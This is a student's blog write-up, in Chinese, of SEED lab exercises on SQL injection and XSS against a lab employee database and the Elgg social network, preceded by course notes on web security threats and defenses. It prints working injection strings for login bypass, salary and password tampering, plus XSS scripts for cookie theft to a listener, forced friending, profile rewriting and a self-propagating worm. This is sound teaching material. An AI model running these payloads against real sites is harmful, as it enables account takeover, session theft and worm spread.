20199303 2019-2020-2 《网络攻防实践》第11周作业

web应用程序体系结构及其安全威胁

  • web应用程序:是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态。常以浏览器支持的语言(JavaScript等脚本语言、HTML等渲染标记语言)所编写,或在浏览器控制的环境中运行(如Java Applet),依赖于浏览器来对应用程序进行渲染与执行。

  • web应用的体系结构:

  • 架构:经典三层架构:表示层、业务逻辑层、数据层。

  • 关键组件:
    浏览器(Browser):标准的web客户端就是我们熟知的浏览器,都是使用HTTP/HTTPS协议、HTML语言和Web服务进行交互,获取web服务器上的信息和应用服务。
    Web服务器(Web Server):Web服务器软件通常被简单地描述为HTTP守护程序,接受Web客户端对资源的请求,在这些请求上执行一些基本的解析处理以确定资源的存在,然后将它传送给web应用程序来执行,待web应用程序执行完逻辑并返回响应时,web服务器再将这个响应返回给web客户端,在浏览器上进行本地执行、渲染和展示。

  • Web 应用程序(Web Application):现代Web应用的核心是处于服务器的业务逻辑,也就是web应用程序。随着web应用技术的发展,web应用程序的功能越来越复杂和多样化,并出现分层的概念:最普遍应用的是三层(3-tiers)体系结构,由表示层、业务逻辑层和数据层组成。
    数据库(Database):有时候被称为“后台”,是web应用存储数据的地方,数据层也作为web应用程序多级结构中的最后一层。流行的数据库管理软件有MS SQL Server、Oracle和开源的MySQL等。
    传输协议HTTP/HTTPS:是浏览器和由web服务器、web应用程序和数据库所构成的web站点之间的通信传输协议。HTTP(超文本传输协议)默认使用TCP 80端口,是相对比较简单、无状态、基于ASCII码的协议,其定义在IETF的标准化文档RFC 2616(HTTP 1.1)和RFC 1945(HTTP 1.0)中,HTTP协议使用统一资源标识符(URL)。
    web应用安全威胁:整个体系结构中的每个组件都存在着安全弱点,容易遭受到各种攻击。

  • 针对浏览器和终端用户的web浏览安全威胁。包括以浏览器渗透攻击为核心的网页木马、phishing网站钓鱼攻击等。

  • 针对传输网络的网络协议安全威胁。如针对HTTP明文传输协议的敏感信息监听、假冒身份攻击、拒绝服务攻击等。

  • 系统层安全威胁:web站点的宿主操作系统存在着远程渗透攻击和本地渗透攻击威胁。

  • web服务器软件安全威胁。如攻击者利用IIS、Apache这些典型的网络服务存在的安全漏洞对web服务器实施渗透攻击或获得敏感信息。

  • web应用程序安全威胁。如SQL注入攻击,XSS跨站脚本攻击。

  • Web数据安全威胁。web站点中在web应用程序后台存储的关键数据内容以及web客户输入的数据内容存在着被窃取、篡改以及输入不良信息等威胁。

web应用安全攻防技术概述

web应用的信息收集
web应用的信息收集:对目标web应用服务进行发现和剖析,标识出他的基本轮廓,具体包括服务器域名、IP地址和虚拟IP地址、Web服务器端口与其他开放服务、web站点类型和版本、web应用程序类型与版本以及web服务器和web应用程序中存在的安全漏洞信息等。
针对web应用程序的探测和漏洞发现:

  • 手工审查web应用程序结构与源代码:
  • 静态和动态生成的页面:HTML源文件可能包含一些有价值的隐藏和注释信息,如表单中的隐藏字段可能存在会话处理、用户标识、口令等敏感信息等。
  • 目录结构:Web服务器上的存储目录结构也是攻击者关注的信息,攻击者不会局限于利用浏览器及站点的导航链接来进行访问,他们会对Web服务器上可能存在的管理员目录、旧版本目录、备份目录、数据目录等进行探查,来查看这些目录是否存在,以及是否由于不安全的配置可以进行目录文件枚举,从而可以从中搜索包含关键信息或可被攻击的文件。
  • 辅助性文件:Web应用程序的一系列辅助性文件,如CSS级联样式表、XML样式表、JavaScript文件、include文件等,通常用于格式化HTML页面以适应流行浏览器的不同要求,或者执行客户端的输入验证。
  • 输入表单:表单是Web应用程序接受用户输入的主要途径,通过手工审查页面源代码可以发现一些关键表单的位置,并可以深入地了解页面表单的各方面信息,包括数据提交的方法(使用GET还是POST来提交数据)、表单处理行为(调用什么脚本?使用何种脚本语言?)、输入字段名称、最大长度限制、隐藏字段、自动完成标记、口令字段等。
  • 查询参数字符串:从Web应用程序中很容易收集到一些动态页面文件的查询参数字符串,这些查询参数字符串可以被复用以假冒其他用户、获取受限的数据、运行任意的系统命令,或者执行其他应用程序开发者所不希望看到的动作。
  • 自动下载与镜像web站点页面:逐个手工地审查分析Web站点页面源码往往是很烦琐且低效的,一些自动下载与镜像Web站点页面的工具能够提升这一工作的自动化程度。在Linux系统上,可以使用lynx、Wget等工具,在Windows上,可以使用迅雷、Flashget等工具。
  • 使用Google Hacking技术审查与探测web应用程序:Google Hacking技术特指Google搜索引擎或其他的Google应用,在web站点中的配置、计算机代码以及包含数据中,寻找安全漏洞与敏感信息的计算机黑客技术。是一种最高效的审查与探测方法。
  • web应用程序安全评估与漏洞探测:Web应用安全辅助分析工具包括如下三种重要类型:
    浏览器插件:一些面向Web应用程序分析、调试和安全检查的浏览器插件能够支持你在浏览网站时,实时查看和修改传递给远端web服务器的数据。
    免费工具集:安全社区也提供了一些开源或免费的Web应用安全评估工具集,它们较浏览器插件往往具有更强大的功能。
    商业Web应用安全评估系统和漏洞扫描器。
    攻击web服务器软件
  • *web服务器平台中的安全漏洞主要有**:
  • 数据驱动的远程代码执行安全漏洞:作为一种典型的网络服务守护进程,Web服务器软件包也面临着缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程渗透攻击,这类攻击往往能够让攻击者在Web服务器上直接获得远程代码执行的权利,并以相当高的权限执行任意命令。
  • 服务器功能扩展模块漏洞:Web服务器软件通过一些功能扩展模块来为核心的HTTP引擎增加其他功能,启动包括动态代码执行、站点检索、web分布式写作与版本管理协议WebDAV、SSL加密协议等。
  • 样本文件安全漏洞:为了让更多人接受和依赖他们的技术,Web服务器软件厂商经常在他们的软件包中包含样本文件和代码示例来演示自己平台一些新奇的用法。由于这些文件只是用来作为演示,往往编写的很仓促,但在默认的Web服务器软件安装实例中却一直保留着;一旦这些样本文件存在安全漏洞,就使得攻击者可以利用这些默认包含的样本文件来对Web服务器实施攻击。
  • 源代码泄露:源代码泄露漏洞让渗透测试人员能够查看到没有防护措施Web服务器上的应用程序源代码,在特定情况下,攻击者甚至可以利用这些漏洞查看到系统级的文件。
  • 资源解析攻击:Web服务器软件在处理资源请求时,需要将同一资源的不同表示方式解析为标准化名称,这一过程被称为资源解析。一些Web服务器软件可能在资源解析过程中遗漏一些输入合法性与合理性验证的处理,从而就可能导致目录遍历、敏感信息泄露、甚至代码注入攻击。
    攻击web应用程序
  • 目前安全最薄弱的环节在于web应用程序(可能是开发过程最快、编码质量和测试水平最低的),也就造就了web应用程序安全性最为薄弱的现状,同时web应用程序的复杂性和灵活性又进一步恶化了他们的安全性。
  • 2004年发布的《WASC Web安全威胁分类v1.0》将Web应用程序安全威胁从攻击技术角度分为如下6类:
    针对认证机制的攻击:针对用来确认用户、服务或应用身份机制的攻击手段,包括暴力枚举、利用认证机制不完善弱点、攻击口令恢复验证机制等。
    授权机制的攻击:针对用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段,包括信任/会话预测、利用授权机制不完善弱点、利用会话失效机制不完善弱点、会话身份窃取攻击等。
    客户端攻击:扰乱或者渗透攻击Web站点客户端用户的攻击手段,包括内容欺骗、跨站脚本攻击等。
    命令执行攻击:在Web站点上执行远程命令的攻击手段,包括缓冲区溢出、格式化字符串、LDAP注入、操作系统命令注入、SQL注入、SSI注入等。
    信息暴露:获取Web站点具体系统信息的攻击手段,包括目录列举、信息泄露、路径遍历、资源位置可预测等。
    逻辑攻击:扰乱或者渗透攻击Web应用逻辑流程的攻击手段,包括功能滥用、拒绝服务攻击、对抗自动程序不完善、处理验证过程不完善等。
    攻击web数据内容
    web站点出来通过服务器软件和应用程序中存在安全漏洞和弱点遭受攻击之外,还面临着:
    安全敏感数据泄露:
    web服务器存在目录遍历漏洞或不安全的目录问价枚举配置在不经意间泄露;
    利用web服务器的upload、incoming等上传目录临时中转文件时泄露;
    缺乏安全意识,在web站点公开的文档资料包含隐私和秘密信息。
    网站内容遭受篡改:一般是网络骇客所为,在利用特定攻击手段入侵网站后,将网站页面内容进行替换,从而宣示入侵成功或表达攻击者的某种观点诉求。大多数网站篡改不具备破坏性,但攻击的行为侵害了网站的安全。
    不良信息内容上传:web站点在被攻击者入侵和控制之后可能遭受不良信息内容上传的威胁。
    web应用安全防范措施
  • web站点网络传输安全设防措施
    尽量使用HTTPS来保障Web站点传输时的保密性、完整性与身份真实性,至少要对登录过程进行加密保护。
    通过加密的连接通道来管理Web站点,避免使用未加密的telnet、FTP、HTTP来进行web后台管理,而使用SSH、SFTP等安全协议。
    对关键的Web服务器,设置静态绑定MAC—IP映射,在服务网段内进行ARP等各类欺骗攻击的检测与MAC封禁机制,在网关位置部署防火墙与入侵检测系统对Web服务器实施保护与安全监测,采用荣誉等机制来应对拒绝服务攻击。
  • web站点操作系统以及服务安全设防措施
    对Web站点的操作系统与服务器软件进行及时的补丁更新;
    对Web站点服务器的操作系统及各种开放服务进行远程安全漏洞扫描,在攻击者利用安全漏洞实施攻击之前发现和修补这些安全漏洞;
    采用提升系统与服务安全性的一般性设防措施,包括关闭所有不使用的服务,避免使用明文传输的网络服务;设置强口令字,以及安全的服务配置;部署防火墙,设置对控制及内容上传通道的限制访问;配置数据备份服务,必要时设置冗余和双机热备机制。
  • web应用程序安全设防措施
    谨慎考虑是否采用动态页面技术、是否支持客户端执行代码、是否允许接受用户输入等
    对于必须提供用户交互、采用动态页面的Web站点,尽量使用具有良好安全声誉及稳定技术支持力量的Web应用软件包;
    只在必要时候自主或外包开发Web应用程序,重视安全编程、持续性的安全测试和维护;
    使用Web服务器软件提供的日志功能,对Web应用程序的所有访问请求进行日志记录与安全审计。
  • web站点数据安全设防措施
    提高网站内容维护人员的数据安全意识,确保组织与国家秘密信息不被泄露到对外公开提供服务的Web站点;
    对维护网站的数据安全实施日常检测与防护:提升Web站点的安全性,避免网站被攻击以后的信息泄露、网站内容篡改与不良信息上传。

SQL注入

  • 代码注入是针对web应用程序的主流攻击技术之一,用过利用web应用程序的输入验证不完善漏洞,使得web应用程序执行由攻击者所注入的恶意指令和代码,造成敏感信息泄露、权限提升或对系统的未授权访问等危害后果。
  • 多类型的代码注入攻击中,SQL注入是目前最为常见、直观的一种攻击技术。
  • SQL注入攻击原理:是利用web应用程序数据层存在的输入验证不完善型安全漏洞实施的一类代码注入攻击技术。被攻击的漏洞被称为SQL注入漏洞,是由于用户输入没有被正确地过滤以消除SQL语言中的字符串转义字符,或者没有进行严格的类型判断,从而用户可以输入并执行一些非预期的SQL指令代码。是向web应用程序提供的用户输入接口输入一段惊心构造的SQL查询命令,攻击和利用不完善的输入验证机制,使得注入代码得意执行完成非预期的攻击操作行为。
  • SQL注入攻击步骤和过程:
    发现SQL注入点:通过构造SQL语句判断Web应用程序对输入是否严格检查或过滤,以确定是否存在注入点。
    判断后台数据库类型
    利用数据库服务器的系统变量进行判断
    利用数据库服务器的系统表进行判断
    ACCESS系统表为msysobjects,在Web环境下无访问权限
    MS SQL Server系统表为sysobjects,在Web环境下有访问权限
    后台数据库管理员用户口令字猜解
    猜解表名
    猜解字段名
    用户名与口令猜解
    上传ASP后门,得到默认账户权限
    ASP后门被上传至Web虚拟目录的Scripts下,攻击者通过浏览器访问它,进而获取Web服务器软件的默认账户权限
    本地权限提升:利用系统或某些特权应用服务安全漏洞;利用系统配置不当提升系统权限。
    利用数据库扩展存储过程执行Shell命令
  • SQL注入攻击工具:
    国外安全界较为知名的自动化SQL注入漏洞发现和攻击工具:
    Wposion:能够在动态web文档中找出SQL注入漏洞;
    wieliekoek.pl:能够以网站镜像工具生成的输出为输入,找出含有表单页面,允许在配置文件中对注入字符串进行修改,进行SQL注入漏洞探测;
    SPIKE Proxy;允许使用者对待注入的字符串进行定制并执行自动化的SQL注入测试;
    SPI Toolkit工具包中包含一个叫“SQL Injector”的自动化SQL注入测试工具。
    国内安全界也有很多优秀的SQL注入渗透测试工具软件:CSC、NBSI、HDSI、阿D注入工具、WED、Domain、Pangolin等。
  • SQL注入攻击防范措施:
    使用类型安全(type-safe)的参数编码机制;
    凡是来自外部的用户输入,必须进行完备检查;
    将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象;
    加强SQL数据库服务器的配置与连接。

XSS跨站脚本攻击

  • XSS跨站脚本攻击的最终目标是使用web应用程序的用户。XSS跨站脚本漏洞存在于web应用程序中,使得攻击者可以再web页面中插入恶意的HTML或JavaScript代码,当用户浏览网页时候,客户端浏览器就会解析和执行这些插入的代码,从而造成获取用户铭感信息、客户端渗透攻击等危害后果。
  • XSS攻击技术原理:根源是web应用程序对用户输入内容的安全验证与过滤不够完善,但是他最终的攻击目标是访问web服务器的用户。用户提交的内容包含HTML、JavaScript及其他脚本代码,而一旦Web应用程序没有对这些输入的合法性进行有效检查与过滤,就很有可能让这些恶意代码逻辑包含在服务器动态产生或更新的网页中。
  • XSS攻击类型:
    持久性XSS漏洞:是最为严重的XSS漏洞,通常出现于一些可以将用户输入持久性的保存在Web服务器端,并在一些“正常”页面中持续显示,从而能够影响所有访问这些页面的其他用户,因此该类XSS漏洞也被称作存储性XSS漏洞。
    非持久性XSS漏洞:当Web浏览器在HTTP请求参数或HTML提交表单中提供的数据,被立即由服务器端脚本使用产生一个提供给该用户的结果页面,而缺乏恰当的请求数据安全验证与过滤,那么就很可能存在着非持久性的XSS漏洞。针对这一非持久性XSS漏洞的具体攻击步骤:
    攻击者构造出一个包含恶意脚本的bank.com登录请求链接,并通过Email/HTTP等方式将该攻击链接发送给其他bank.com网站用户;
    受害者点击攻击链接后,将会把恶意链接中包含的恶意脚本当做用户名参数提交给bank.com的登录处理界面;
    由于bank.com登录处理页面存在XSS漏洞,将会在返回的欢迎页面中包含恶意客户端脚本;
    攻击者的恶意客户端脚本在受害者浏览器中执行,通常会驱动浏览器向攻击者发送会话令牌,如ID、Cookie等信息;
    攻击者获得用户会话令牌以后,就可以劫持用户会话,或者伪造用户登录bank.com,并可实施进一步攻击。

    XSS攻击防范措施:
  • 服务器端防范措施:
    输入验证:Web应用程序应根据用户提交的数据进行严格的验证和过滤,需要验证的数据的潜在特性包括用户输入数据不是过长、仅包含某些合法字符、不能包含某些HTML与JavaScript关键标签符号、数据与一个特殊的正规表达式相匹配等。
    输出净化:Web应用程序对用户提交的数据进行HTML编码,以净化可能的恶意字符,将可能存在的恶意字符当做HTML文档内容而非结构来处理。
    消除危险的输入点:Web应用程序页面中有一些位置,在这里插入用户提交的输入就会造成极大的风险;因此,开发者应力求寻找其他方法执行必要的功能。
  • 客户端防范措施:跨站脚本最终是在客户端浏览器上执行的,因此对抗XSS攻击需要提升浏览器的安全设置,如提高浏览器访问非受信网站时的安全等级、关闭Cookie功能或设置Cookie只读,此外也可采用非主流的安全浏览器如Chrome、Opera来尽量降低安全风险。

SEED SQL注入实验

已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

实验环境:SEED Ubuntu 16.04
使用命令 sudo service apache2 start 运行 Apache Server ,启动服务。

上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。

打开网站 www.SEEDLabSQLInjection.com ,随机输入用户名和密码,可以看到进行校验的是 unsafe_home.php 。

在终端使用命令 vim /var/www/SQLInjection/unsafe_home.php 查看对应的代码,发现该web应用的数据库用户为 root ,密码为 seedubuntu

进行登录认证时,区分 admin 用户及 其他用户。用户信息表为 credential :


登录时候的SQL查询语句:
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’
如果输入的 username 字段为 Admin'# , Password 字段为任意值。通过上述代码组合sql语句就可以得到如下的sql查询语句:
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’Admin'#’ and Password=’$hashed_pwd’
其中, # 在sql语句中代表注释,也就是并没有对密码进行判断。
成功进入系统,看到了所有的用户信息。

要求:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
首先找到UPDATE语句,这部分的内容在 unsafe_edit_backend.php 中。执行命令 vim /var/www/SQLInjection/unsafe_edit_backend.php
这个UPDATE语句可以看到员工只能修改基本的信息,无权修改工资,这条UPDATE语句也没有进行任何的保护如权限等,那我们的攻击就是修改salary。

使用相同的方法登录 Alice 。登陆成功后,可以看到 salary 为 20000 ,点击 edit profile 修改信息:

已知update时正确的处理语句为:
UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',
Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id
在 NickName 那里输入语句 ', salary='1000' where Name='Alice'; #,则可以把update语句改为 UPDATE credential SET nickname='',salary='1000' where Name='Alice'; , # 后面的语句被注释了。这个时候点击 save 可以看到已经修改成功,证明攻击成功。


在不知道其他人密码的情况下修改其资料。修改其他人的工资也可以在Alice修改的界面的nickname输入 ', salary='99' where name='Boby';# ,进入Boby的界面,发现工资已经成功修改。

修改其他用户的密码,因为密码在数据库中是以sha1的形式存储的,使用指令 echo -n '123'|sha1sum 输出密码123的sha1值为 40bd001563085fc35165329ea1ff5c5ecbdbbeef :

继续在Alice的账户登录进行操作,在edit profile的NickName那里填写: ', Password='40bd001563085fc35165329ea1ff5c5ecbdbbeef' where Name='Boby';#。
然后登陆Boby的账户,发现修改的123密码可以正常登录。

SQL对抗

预处理语句在编译之后执行步骤之前出现。预处理语句将经过编译步骤,并转换为带有空数据占位符的预编译查询。要运行此预编译查询,需要提供数据,但这些数据不会通过编译步骤;相反,它们直接插入到预编译的查询中,并发送到执行引擎。因此,即使数据中有SQL代码,在不经过编译步骤的情况下,代码也将被简单地视为数据的一部分,没有任何特殊意义。这就是预处理语句防止SQL注入攻击的方式。

首先我们修改在unsafe_home.php中的sql语句为预处理语句,即将:

  $sql = "SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= '$input_uname' and Password='$hashed_pwd'";
  $result = $conn -> query($sql);

修改为:

   $sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
  FROM credential
  WHERE name= ? and Password= ?");
  $stmt->bind_param("ss", $input_uname, $hashed_pwd);
  $stmt->execute();
  $stmt->bind_result($id, $name, $eid, $salary, $birth, $ssn, $phoneNumber, $address, $email, $nickname, $pwd);
  $stmt->fetch();  

使用预处理语句机制,我们将向数据库发送SQL语句的过程分为两个步骤。第一步是只发送代码部分,即没有实际数据的SQL语句。这是准备步骤。从上面的代码片段中我们可以看到,实际数据被问号(?)替换。在这一步之后,我们使用bind param()将数据发送到数据库。数据库将只将此步骤中发送的所有内容视为数据,而不再视为代码。它将数据绑定到准备好的语句的相应问号。在bind param()方法中,第一个参数“is”表示参数的类型:“i”表示 $id 中的数据具有整数类型,“s”表示 $pwd 中的数据具有字符串类型。

SEED XSS攻击实验

准备 HTTP Header Live 工具:在firefox的 add-on 中搜索 HTTP Header Live ——> install

访问 www.xsslabelgg.com 查看实验所用的web应用Elgg,利用XSS漏洞完成下列任务:

1.发布恶意消息,显示警报窗口:
在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

首先利用alice的账户 alice 和密码 seedalice 登录,

在 Brief description 中插入XSS攻击代码 ,用于显示一个警告窗口:

点击Save后就能看到弹窗如下图所示:

使用另一个用户(Boby)登录并查看Alice的profile,步骤:Boby登录,more—>members—>Alice,则会看到如下警告窗口,攻击成功。

2.弹窗显示cookie信息 将cookie信息显示。

在Alice的个人页面的 Brief description 中插入XSS攻击代码 :

用Boby查看Alice的profile,得到的弹窗如下:

3.窃取受害者的cookies 将cookie发送给攻击者

该任务中攻击者希望JavaScript代码将cookie发送给自己。
首先要将上文获得的cookie放入一个特殊构建的请求,向攻击者服务器发送这个请求。可以通过使恶意的JavaScript插入一个标签,其src属性设置为攻击者的机器来实现。当JavaScript插入img标签时,浏览器尝试从src字段中的URL加载图片,这导致HTTP GET请求发送到攻击者的机器。
嵌入的Javascript代码,其中本机 192.168.200.5 充当攻击者,JavaScript将cookies发送到攻击者机器的 5788 端口,若攻击者的TCP server侦听同一个端口,服务器则可打印出任何收到的内容:


攻击者执行 nc -l 5788 -v 命令,监听 5788 端口。其中 -l 指定端口, -v 显示详细信息当用户访问Alice profile时,打印出当前用户的cookies。
这样任意用户访问Alice的主页都将向攻击者的服务器发送对应的cookie信息

4.成为受害者的朋友
使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。

首先点击 Add Friend ,判断该web是如何发送HTTP请求的,点击web Developer中的Toggle tools,
可以发现添加好友时需要 当前用户的cookies 、 __elgg_token 、 __elgg_ts 、 用户id(被添加的) 。如果要自动添加好友至少需要以上信息,其他信息保持原样即可。

此处让Boby自动添加Alice为好友,由上图可知Alice的id,为44:

在Alice的about me中( edit HTML模式 )添加Javascript代码如下:

  <script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token; 
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token;


Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
  } 
  </script>  


以Boby的身份登录,访问Alice的主页,则会自动添加好友。

5.修改受害者的信息
此任务的目标是在受害者访问 Alice 页面时修改受害者的配置文件。我们将编写一个XSS蠕虫来完成任务。此蠕虫不会自我传播;在任务6中将使其自我传播

结合指导书上所给的代码,可以编写出如下程序,首先获取了访问者的 &__elgg_token= 、 __elgg_ts 、 &__name=elgg.session.user.name 和页面的其他信息。接下来按照上文的分析构建了请求url,然后通过 XMLHttpRequest 对象构建请求,请求的方式为POST, 并设置请求头和其他信息,通过send函数发送请求。程序中的判断语句的作用是判断是否是 Alice 请求的,如果是则不作修改。

<script type="text/javascript">
	window.onload = function(){
		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;
		var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)
		var samyGuid=44;
		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
	}
</script>

将上述代码同样放在Alice的about me中,保存后退出,使用 Boby 账号登录,访问Alice的profile,即可成功修改boby的profile。


6.编写XSS蠕虫
指导书中介绍了两种方法,一种是链接的方法,另一种是调用 DOM API 的方法。这里使用第二种方法。首先我们开始编写代码,结合上一个任务的代码就可以编写出一个蠕虫病毒:

<script id="worm" type="text/javascript">
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)

		var samyGuid=44;

		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
		
	}
</script>

同样将它放入 Alice 的 About me 中;

接下来使用 Boby 登录,并访问 Alice 的主页,发现被感染:

然后用 Samy 访问 Boby 的主页:

这说明 Boby 感染了蠕虫病毒并且进行了传播,该蠕虫病毒有效。

7.对抗XSS攻击
Elgg本身已经提供对抗XSS攻击的插件,可以利用管理员账户进行登录,找到 Account -> administration -> plugins ,并且找到插件HTMLawed ,这个插件的主要作用是对用户的输入输出进行校验并且去除特定标签。
还有一种方式是在代码中调用 htmlspecialchars() 方法,主要是对特殊字符进行编码,也可以防范XSS攻击问题。

学习中遇到的问题

1.不能往虚拟机复制文件
安装插件即可
2.火狐插件下载比较慢
购买vpn

实践总结

sql完全忘记了,javascript完全没有接触过,只会写简单的静态网页加一点css,还需要多加学习

posted @ 2020-05-13 20:46  20199303吕建文  阅读(292)  评论(0编辑  收藏  举报